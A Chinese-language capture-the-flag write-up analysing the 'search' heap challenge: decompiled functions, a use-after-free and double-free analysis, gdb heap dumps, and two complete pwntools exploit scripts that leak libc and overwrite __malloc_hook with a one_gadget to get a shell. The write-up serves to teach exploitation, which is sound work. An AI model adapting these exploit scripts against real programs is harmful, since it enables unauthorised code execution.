思路参考大佬文章 部分图片和思路也来自hollk师傅,csdn有他的号
__int64 sub_400D60()
{
__int64 choice;
head = 0LL;
while ( 1 )
{
while ( 1 )
{
menu();
choice = read_num();
if ( (_DWORD)choice != 1 )
break;
search_word();
}
if ( (_DWORD)choice != 2 )
break;
index_sentence();
}
if ( (_DWORD)choice != 3 )
error("Invalid option");
return choice;
}
主要有两个函数
search_word()
index_sentence()
index_sentence
先看index_sentence()
int index_sentence()
{
int v0;
__int64 v1;
int len;
char *v3;
char *v4;
char *str_tail;
word_struct *v6;
int word_size;
word_struct *v8;
word_struct *v10;
puts("Enter the sentence size:");
v0 = read_num();
v1 = (unsigned int)(v0 - 1);
len = v0;
if ( (unsigned int)v1 > 0xFFFD )
error("Invalid size");
puts("Enter the sentence:");
v3 = (char *)malloc(len);
read_str(v3, len, 0);
v4 = v3 + 1;
str_tail = &v3[v1 + 2];
v6 = (word_struct *)malloc(0x28uLL);
word_size = 0;
v6->content = (__int64)v3;
v6->size = 0;
v6->sentence_ptr = v3;
v6->len = len;
do
{
while ( *(v4 - 1) != ' ' )
{
v6->size = ++word_size;
LABEL_4:
if ( ++v4 == str_tail )
goto LABEL_8;
}
if ( word_size )
{
v10 = head;
head = v6;
v6->next = v10;
v6 = (word_struct *)malloc(0x28uLL);
word_size = 0;
v6->content = (__int64)v4;
v6->size = 0;
v6->sentence_ptr = v3;
v6->len = len;
goto LABEL_4;
}
v6->content = (__int64)v4++;
}
while ( v4 != str_tail );
LABEL_8:
if ( word_size )
{
v8 = head;
head = v6;
v6->next = v8;
}
else
{
free(v6);
}
return puts("Added sentence");
}
v3(malloc)中读入len长的字段,无溢出 v3是输入sentence的地址
v3 = (char *)malloc(len);
read_str(v3, len, 0);
其实换算一下就是len+1,也就是结尾
v0 = read_num();
v1 = (unsigned int)(v0 - 1);
len = v0;
------------------------------
str_tail = &v3[v1 + 2];
v6开了个结构体函数,和句子函数不太一样
v6 = (word_struct *)malloc(0x28uLL);
结构体如下
00000000 word_struct struc ; (sizeof=0x28, mappedto_6)
00000000 content dq ?
00000008 size dd ?
0000000C padding1 dd ?
00000010 sentence_ptr dq ? ; offset
00000018 len dd ?
0000001C padding2 dd ?
00000020 next dq ? ; offset
00000028 word_struct ends
00000028
context和sentence指针都指向了句子的内存v3
v6 = (word_struct *)malloc(0x28uLL);
word_size = 0;
v6->content = (__int64)v3;
v6->size = 0;
v6->sentence_ptr = v3;
v6->len = len;
接下来这段有点难了 v4代表句子的char指针 如果v4当前不为空格且不为尾部,则创建一个新的结构体
if ( word_size )
{
v10 = head;
head = v6;
v6->next = v10;
v6 = (word_struct *)malloc(0x28uLL);
word_size = 0;
v6->content = (__int64)v4;
v6->size = 0;
v6->sentence_ptr = v3;
v6->len = len;
goto LABEL_4;
}
这里我认为有点问题,gdb调试一下 可以看到head指向的是最后一个非空单词结构体的use域 非第一个单词结构体才有第五成员变量也就是next 阅读源码可知,创建结构体的规则是遇到空格就创建,而在do语句前已经创建了一个,也就是说,在这段代码里创建的结构体,记录的是从这个空格开始的单词数据
if ( word_size )
{
v10 = head;
head = v6;
v6->next = v10;
v6 = (word_struct *)malloc(0x28uLL);
word_size = 0;
v6->content = (__int64)v4;
v6->size = 0;
v6->sentence_ptr = v3;
v6->len = len;
goto LABEL_4;
}
最后free不置空会产生UAF和DF
{
free(v6);
}
最后区分一下 sentence的是直接malloc开的有多长开多长,而word的struct是按结构体的大小开的
search_word
看看另外一个函数search_word
void search_word()
{
int v0;
char *v1;
word_struct *i;
char choice[56];
puts("Enter the word size:");
v0 = read_num();
if ( (unsigned int)(v0 - 1) > 0xFFFD )
error("Invalid size");
puts("Enter the word:");
v1 = (char *)malloc(v0);
read_str(v1, v0, 0);
for ( i = head; i; i = i->next )
{
if ( *i->sentence_ptr )
{
if ( i->size == v0 && !memcmp((const void *)i->content, v1, v0) )
{
__printf_chk(1LL, "Found %d: ", (unsigned int)i->len);
fwrite(i->sentence_ptr, 1uLL, i->len, stdout);
putchar('\n');
puts("Delete this sentence (y/n)?");
read_str(choice, 2, 1);
if ( choice[0] == 'y' )
{
memset(i->sentence_ptr, 0, i->len);
free(i->sentence_ptr);
puts("Deleted!");
}
}
}
}
free(v1);
}
又是free没置空 输入的数据存储在V1
puts("Enter the word:");
v1 = (char *)malloc(v0);
read_str(v1, v0, 0);
查找主要看两个要素,应该是size一致,一个是内容一致 这时候就要想,有没有绕过查找机制?
if ( *i->sentence_ptr )
{
if ( i->size == v0 && !memcmp((const void *)i->content, v1, v0) )
如果删除,是删除句子的所在空间 并用memset全部置0
if ( choice[0] == 'y' )
{
memset(i->sentence_ptr, 0, i->len);
free(i->sentence_ptr);
puts("Deleted!");
}
可以看到 ,指针没有释放,还指向sentence
补充知识点
首先是unsortedbin,main_arena,libc_base之间的相对地址 而放入unsotedBin的chunk如果是唯一一个在unsortedBin的chunk话,fd和bk都会指向unsortedBin(main_arena+88) 然后就是劫持hook malloc_hook就是个函数指针,在执行malloc的时候调用 原文链接
#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>
static void* (*old_malloc_hook)(size_t, const void*);
static void* my_malloc(size_t size, const void *caller)
{
static int malloc_time = 0;
__malloc_hook = old_malloc_hook;
void *ptr = malloc(size);
__malloc_hook = my_malloc;
printf("%s, addr: %p, size: %lu, time:%d\n", __func__, ptr, size, ++malloc_time);
return ptr;
}
void __attribute__((constructor)) malloc_init()
{
old_malloc_hook = __malloc_hook;
__malloc_hook = my_malloc;
}
int main()
{
char *c = (char*)malloc(sizeof(char));
free(c);
int *i = new int;
delete i;
FILE *f = fopen("./file", "r");
if (NULL != f) {
fclose(f);
}
return 0;
}
malloc的位置在main_arena的低0x10的位置 用print (void*)&main_arena 可以获得其地址 然后就可以看到hook了 再就是one_gadget的使用 对于给了libc的远程环境 one_gadget libc.so.6 可以获得execve的地址 对于本地,需要用ldd search 命令来获取libc地址,其中search是任意可执行二进制文件 在用one_gadget /lib/x86_64-linux-gnu/libc.so.6 去获取execve 记住!!本地和远程一定要分开来写,然后不一定每个都有用,要都试试 可以构造脚本:
def oneGadget(num):
if num==1:
return 0x45226
if num==2:
return 0x4527a
if num==3:
return 0xf03a4
if num==4:
return 0xf1247
对于修改hook需要用到fake_chunk,在hook附近构造chunk来修改hook命令如下:find_fake_fast hook地址 大小-1 ,至于为什么要-1不太清楚
漏洞挖掘及其利用
逆向分析走一波,我们需要hook的地址,就需要 泄漏unsortedBin,main_arena,libc_base的其中一个,我们去看看源码中有没有write之类的函数
if ( *i->sentence_ptr )
{
if ( i->size == v0 && !memcmp((const void *)i->content, v1, v0) )
{
__printf_chk(1LL, "Found %d: ", (unsigned int)i->len);
fwrite(i->sentence_ptr, 1uLL, i->len, stdout);
putchar('\n');
puts("Delete this sentence (y/n)?");
read_str(choice, 2, 1);
if ( choice[0] == 'y' )
{
memset(i->sentence_ptr, 0, i->len);
free(i->sentence_ptr);
puts("Deleted!");
}
fwrite会将sentence中的内容输出,而chunk放入unsortedBin中的fb和bk正好指向unsortedBin真实地址,那么如何让fwrite写出,就得绕过两个检查,一个是sentence有无内容的检查,这个肯定没问题,一个是对内容和所输入字符的检查,因为sentence的chunk已经被释放,内容被memset置0,我们只能用\x00 绕过
函数从head开始也就是最后一个字符开始向前查找,就算free了sentence但head还是没置空,还是可以通过head继续查找 我们这样构造
smallbin_sentence=b'a'*0x85+b' k '
index_search(smallbin_sentence)
search_word('k')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
看看bin内的情况 此时如果还将它作为sentence_chunk的话,就可以打印出内容了
search_word('\x00')
p.recvuntil('Found '+str(len(smallbin_sentence))+': ')
unsortedbin_addr=u64(p.recv(8))
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')
既然如此,hook地址经过计算就到手了 即hook_addr=unsortedBin_addr-88-0x10 接下来得到了hook的地址,我们的目的是修改地址,修改地址的方法有unlink,有double free,这里采用double free 如果想构成double free,这里必须要有三个chunk,为什么是三个而不是两个,因为最先free的chunk的fd为0,无法绕过检查 如下构造三个堆,为什么这么构造,为了方便查找d来进行删除
index_search(b'a'*0x5d+b' d ')
index_search(b'b'*0x5d+b' d ')
index_search(b'c'*0x5d+b' d ')
看看堆
pwndbg> x/200gx 0xe72080-0x40-0x60+0x30
0xe72010: 0x0000000000000000 0x0000000000000071
0xe72020: 0x6161616161616161 0x6161616161616161
0xe72030: 0x6161616161616161 0x6161616161616161
0xe72040: 0x6161616161616161 0x6161616161616161
0xe72050: 0x6161616161616161 0x6161616161616161
0xe72060: 0x6161616161616161 0x6161616161616161
0xe72070: 0x6161616161616161 0x2064206161616161
0xe72080: 0x0000000000000000 0x0000000000000021
0xe72090: 0x00007f64aed19b88 0x00007f64aed19b88
0xe720a0: 0x0000000000000020 0x0000000000000030
0xe720b0: 0x0000000000e72020 0x0000000000000085
0xe720c0: 0x0000000000e72020 0x0000000000000088
0xe720d0: 0x0000000000000000 0x0000000000000031
0xe720e0: 0x0000000000e720a6 0x0000000000000001
0xe720f0: 0x0000000000e72020 0x0000000000000088
0xe72100: 0x0000000000e720b0 0x0000000000000031
0xe72110: 0x0000000000e72020 0x000000000000005d
0xe72120: 0x0000000000e72020 0x0000000000000060
0xe72130: 0x0000000000e720e0 0x0000000000000021
0xe72140: 0x0000000000000000 0x0000000000000000
0xe72150: 0x0000000000000000 0x0000000000000031
0xe72160: 0x0000000000e7207e 0x0000000000000001
0xe72170: 0x0000000000e72020 0x0000000000000060
0xe72180: 0x0000000000e72110 0x0000000000000031
0xe72190: 0x0000000000e721c0 0x000000000000005d
0xe721a0: 0x0000000000e721c0 0x0000000000000060
0xe721b0: 0x0000000000e72160 0x0000000000000071
0xe721c0: 0x6262626262626262 0x6262626262626262
0xe721d0: 0x6262626262626262 0x6262626262626262
0xe721e0: 0x6262626262626262 0x6262626262626262
0xe721f0: 0x6262626262626262 0x6262626262626262
0xe72200: 0x6262626262626262 0x6262626262626262
0xe72210: 0x6262626262626262 0x2064206262626262
0xe72220: 0x0000000000000000 0x0000000000000031
0xe72230: 0x0000000000e7221e 0x0000000000000001
0xe72240: 0x0000000000e721c0 0x0000000000000060
0xe72250: 0x0000000000e72190 0x0000000000000031
0xe72260: 0x0000000000e72290 0x000000000000005d
0xe72270: 0x0000000000e72290 0x0000000000000060
0xe72280: 0x0000000000e72230 0x0000000000000071
0xe72290: 0x6363636363636363 0x6363636363636363
0xe722a0: 0x6363636363636363 0x6363636363636363
0xe722b0: 0x6363636363636363 0x6363636363636363
0xe722c0: 0x6363636363636363 0x6363636363636363
0xe722d0: 0x6363636363636363 0x6363636363636363
0xe722e0: 0x6363636363636363 0x2064206363636363
0xe722f0: 0x0000000000000000 0x0000000000000031
0xe72300: 0x0000000000e722ee 0x0000000000000001
0xe72310: 0x0000000000e72290 0x0000000000000060
0xe72320: 0x0000000000e72260 0x0000000000000031
0xe72330: 0x0000000000000000 0x0000000000000000
0xe72340: 0x0000000000e72290 0x0000000000000060
0xe72350: 0x0000000000000000 0x0000000000020cb1
通过这个我们可以发现,无论是不是相同的句子,所有word_chunk都串成了单链表! 所以我们如果释放三个句子中的某一元素成分,就能通过for链表循环,将整个句子全部从高地址向低地址释放,,形成A->B->C->NULL 如下,至于第二次为什么会recv三次,别忘了最开头还创建了个chunk
search_word('d')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
#dbg()
search_word("\x00")
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')#C
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')#B
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')#first chunk
此时如果再用\x00 对B 进行DF,就能在重新申请B 的时候挂上fake_chunk了,DF的过程在hollk师傅的博客里已经十分详细了,这里不再赘述。B->A->B->C
fake_offset_main=0x7fc2ba435b20-0x7fc2ba435aed #0x33
fake_chunk_addr=main_arena-fake_offset_main
fake_chunk=p64(fake_chunk_addr).ljust(0x60,b'a')
index_search(fake_chunk)
变为A->B->fake_chunk 申请掉A,B
index_search('a' * 0x60)
index_search('b' * 0x60)
最后一次申请,挂上钩子,顺便触发malloc 这个0x13是fake_chunk和hook的偏移,要考虑user域和chunk域哦
pwndbg> distance 0x7f64aed19b10 0x7f64aed19aed
0x7f64aed19b10->0x7f64aed19aed is -0x23 bytes (-0x5 words)
0x23-0x10=0x13
one_gadget_addr = libc_base + oneGadget(4)
payload=b'a'*0x13+p64(one_gadget_addr)
payload=payload.ljust(0x60,b'a')
print("one_gadget_addr:",hex(one_gadget_addr))
#dbg()
index_search(payload)
知识点总结和完整exp
知识点:
- uaf
- fastbin的double free
- 泄漏unsortedBin
- malloc_hook
- one_gadget
from pwn import *
context.log_level = 'debug'
p=process('search')
elf=ELF('./search')
libc=ELF('./libc.so.6')
def dbg():
gdb.attach(p)
pause()
def index_search(s):
p.sendline('2')
p.sendline(str(len(s)))
p.send(s)
def search_word(word):
p.sendline('1')
p.sendline(str(len(word)))
p.send(word)
def leak_libc(unsortedbin):
#main_arena_addr-libc_base=0x3c4b20
#unsortedbin-main_arena_addr=88
libc_base=unsortedbin-0x3c4b20-88
print("libc_base:",hex(libc_base))
return libc_base
def oneGadget(num):
if num==1:
return 0x45226
if num==2:
return 0x4527a
if num==3:
return 0xf03a4
if num==4:
return 0xf1247
smallbin_sentence=b'a'*0x85+b' k '
index_search(smallbin_sentence)
search_word('k')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
#dbg()
search_word('\x00')
p.recvuntil('Found '+str(len(smallbin_sentence))+': ')
unsortedbin_addr=u64(p.recv(8))
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')
print("unsordedbin_addr :",hex(unsortedbin_addr))
libc_base=leak_libc(unsortedbin_addr)
main_arena=libc_base+0x3c4b20
index_search(b'a'*0x5d+b' d ')
index_search(b'b'*0x5d+b' d ')
index_search(b'c'*0x5d+b' d ')
#dbg()
#a->b->c->NULL
search_word('d')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
#dbg()
search_word("\x00")
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')
#b->a->b->c-null
fake_offset_main=0x7fc2ba435b20-0x7fc2ba435aed #0x33
fake_chunk_addr=main_arena-fake_offset_main
fake_chunk=p64(fake_chunk_addr).ljust(0x60,b'a')
index_search(fake_chunk)
print("fakechunk_addr:",hex(fake_chunk_addr))
index_search('a' * 0x60)
index_search('b' * 0x60)
one_gadget_addr = libc_base + oneGadget(4)
payload=b'a'*0x13+p64(one_gadget_addr)
payload=payload.ljust(0x60,b'a')
print("one_gadget_addr:",hex(one_gadget_addr))
#dbg()
index_search(payload)
p.interactive()
经过测试和阅读源码,我没找出增添‘ k ’ 中后一个空格的必要之处,逻辑应该为遇到一个空格就创建空格后面单词的结构体 去掉空格exp如下
from pwn import *
context.log_level = 'debug'
p=process('search')
elf=ELF('./search')
libc=ELF('./libc.so.6')
def dbg():
gdb.attach(p)
pause()
def index_search(s):
p.sendline('2')
p.sendline(str(len(s)))
p.send(s)
def search_word(word):
p.sendline('1')
p.sendline(str(len(word)))
p.send(word)
def leak_libc(unsortedbin):
#main_arena_addr-libc_base=0x3c4b20
#unsortedbin-main_arena_addr=88
libc_base=unsortedbin-0x3c4b20-88
print("libc_base:",hex(libc_base))
return libc_base
def oneGadget(num):
if num==1:
return 0x45226
if num==2:
return 0x4527a
if num==3:
return 0xf03a4
if num==4:
return 0xf1247
smallbin_sentence=b'a'*0x86+b' k'
index_search(smallbin_sentence)
search_word('k')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
#dbg()
search_word('\x00')
p.recvuntil('Found '+str(len(smallbin_sentence))+': ')
unsortedbin_addr=u64(p.recv(8))
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')
print("unsordedbin_addr :",hex(unsortedbin_addr))
libc_base=leak_libc(unsortedbin_addr)
main_arena=libc_base+0x3c4b20
index_search(b'a'*0x5e+b' d')
index_search(b'b'*0x5e+b' d')
index_search(b'c'*0x5e+b' d')
#dbg()
#a->b->c->NULL
search_word('d')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
#dbg()
search_word("\x00")
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')
#b->a->b->c-null
fake_offset_main=0x7fc2ba435b20-0x7fc2ba435aed #0x33
fake_chunk_addr=main_arena-fake_offset_main
fake_chunk=p64(fake_chunk_addr).ljust(0x60,b'a')
index_search(fake_chunk)
print("fakechunk_addr:",hex(fake_chunk_addr))
index_search('a' * 0x60)
index_search('b' * 0x60)
one_gadget_addr = libc_base + oneGadget(4)
payload=b'a'*0x13+p64(one_gadget_addr)
payload=payload.ljust(0x60,b'a')
print("one_gadget_addr:",hex(one_gadget_addr))
#dbg()
index_search(payload)
p.interactive()
|